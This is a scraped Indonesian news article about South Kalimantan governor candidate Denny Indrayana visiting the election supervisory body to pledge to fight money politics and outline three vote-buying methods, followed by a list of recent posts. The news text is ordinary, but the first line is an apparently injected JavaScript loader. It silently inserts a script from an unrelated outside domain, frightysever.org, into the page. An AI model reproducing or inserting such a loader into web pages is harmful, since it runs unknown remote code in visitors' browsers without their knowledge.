(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Cagub Denny Datangi Bawaslu Kalsel, ‘Gerah’ Potensi Money Politics di Pilgub Kalsel!


KANALKALIMANTAN.COM, BANJARMASIN – Calon Gubernur Kalsel nomor urut 2, Denny Indrayana menyambangi Kantor Badan Pengawas Pemilihan Umum (Bawaslu) Kalimantan Selatan, Jumat (2/10/2020) siang. Datang menggunakan baju koko putih dan peci hitam, Denny menyampaikan maksud kedatangannya ke Bawaslu. Ada apa?

“Saya hadir di Bawaslu, untuk menegaskan maklumat anti politik uang. Karena praktik politik uang sudah nyata-nyata melumpuhkan demokrasi kita, bahkan membunuh demokrasi kita. Karena itu kita harus berperang melawan praktik politik uang,” kata Denny kepada awak media di Halaman Kantor Bawaslu Provinsi Kalsel.

Denny mengatakan, dirinya dan pasangannya yaitu H Difriadi, berkomitmen untuk memerangi praktik politik uang. Apalagi, setelah keduanya resmi ditetapkan sebagai pasangan calon Gubernur dan Wakil Gubernur, pihaknya berikhtiar untuk menegaskan maklumat anti politik uang itu ke seluruh masyarakat.

“Tidak hanya kepada masyarakat Kalsel, tapi juga ke seluruh masyaraka Indonesia,” tambah Denny.

Denny menjelaskan, ada tiga modus politik uang yang sering terjadi. Pertama, modus politik uang dengan memanfaatkan aparatur negara dari level atas sampai terendah.

Ia mencontohkan, dengan memanfaatkan pengurus RT dan RW untuk mendukung salah satu pasangan calon dengan imbalan materi tertentu, yang disebutnya sudah sering dilakukan dan harus dihentikan. “Kedua, menyalahgunakan anggaran program dan anggaran pemerintah. Ketiga, modus pembelian suara, dengan langsung memberikan uang ataupun barang,” papar Denny.

Lanjut Denny, dirinya hadir di Bawaslu ini untuk berkonsultasi dengan pihak Bawaslu, mengenai cara untuk mengantisipasi modus-modus politik uang tersebut tidak terjadi lagi khususnya di Pilkada Kalimantan Selatan.

Selain berkonsultasi dengan pihak Bawaslu, kehadiran Denny di Kantor Bawaslu ini ditengarai berhubungan juga dengan laporan dugaan pelanggaran pemilu yang diduga dilakukan oleh salah satu pasangan calon.

Laporan pelanggaran tersebut telah diterima oleh pihak Bawaslu pada Kamis (1/10/2020). Sejak pagi tadi, lanjutan dari pelaporan tersebut adalah pemeriksaan terhadap dua orang saksi yang didatangkan oleh pelapor.

Berdasarkan pantauan di Kantor Bawaslu, Jum’at (2/10/2020), sekitar pukul 09.00 Wita, dua orang saksi yang dibawa oleh pelapor tersebut sudah memasuki kantor Bawaslu Provinsi Kalsel untuk diperiksa lebih lanjut. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

16 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

17 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

17 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

18 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

19 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

1 hari ago

This website uses cookies.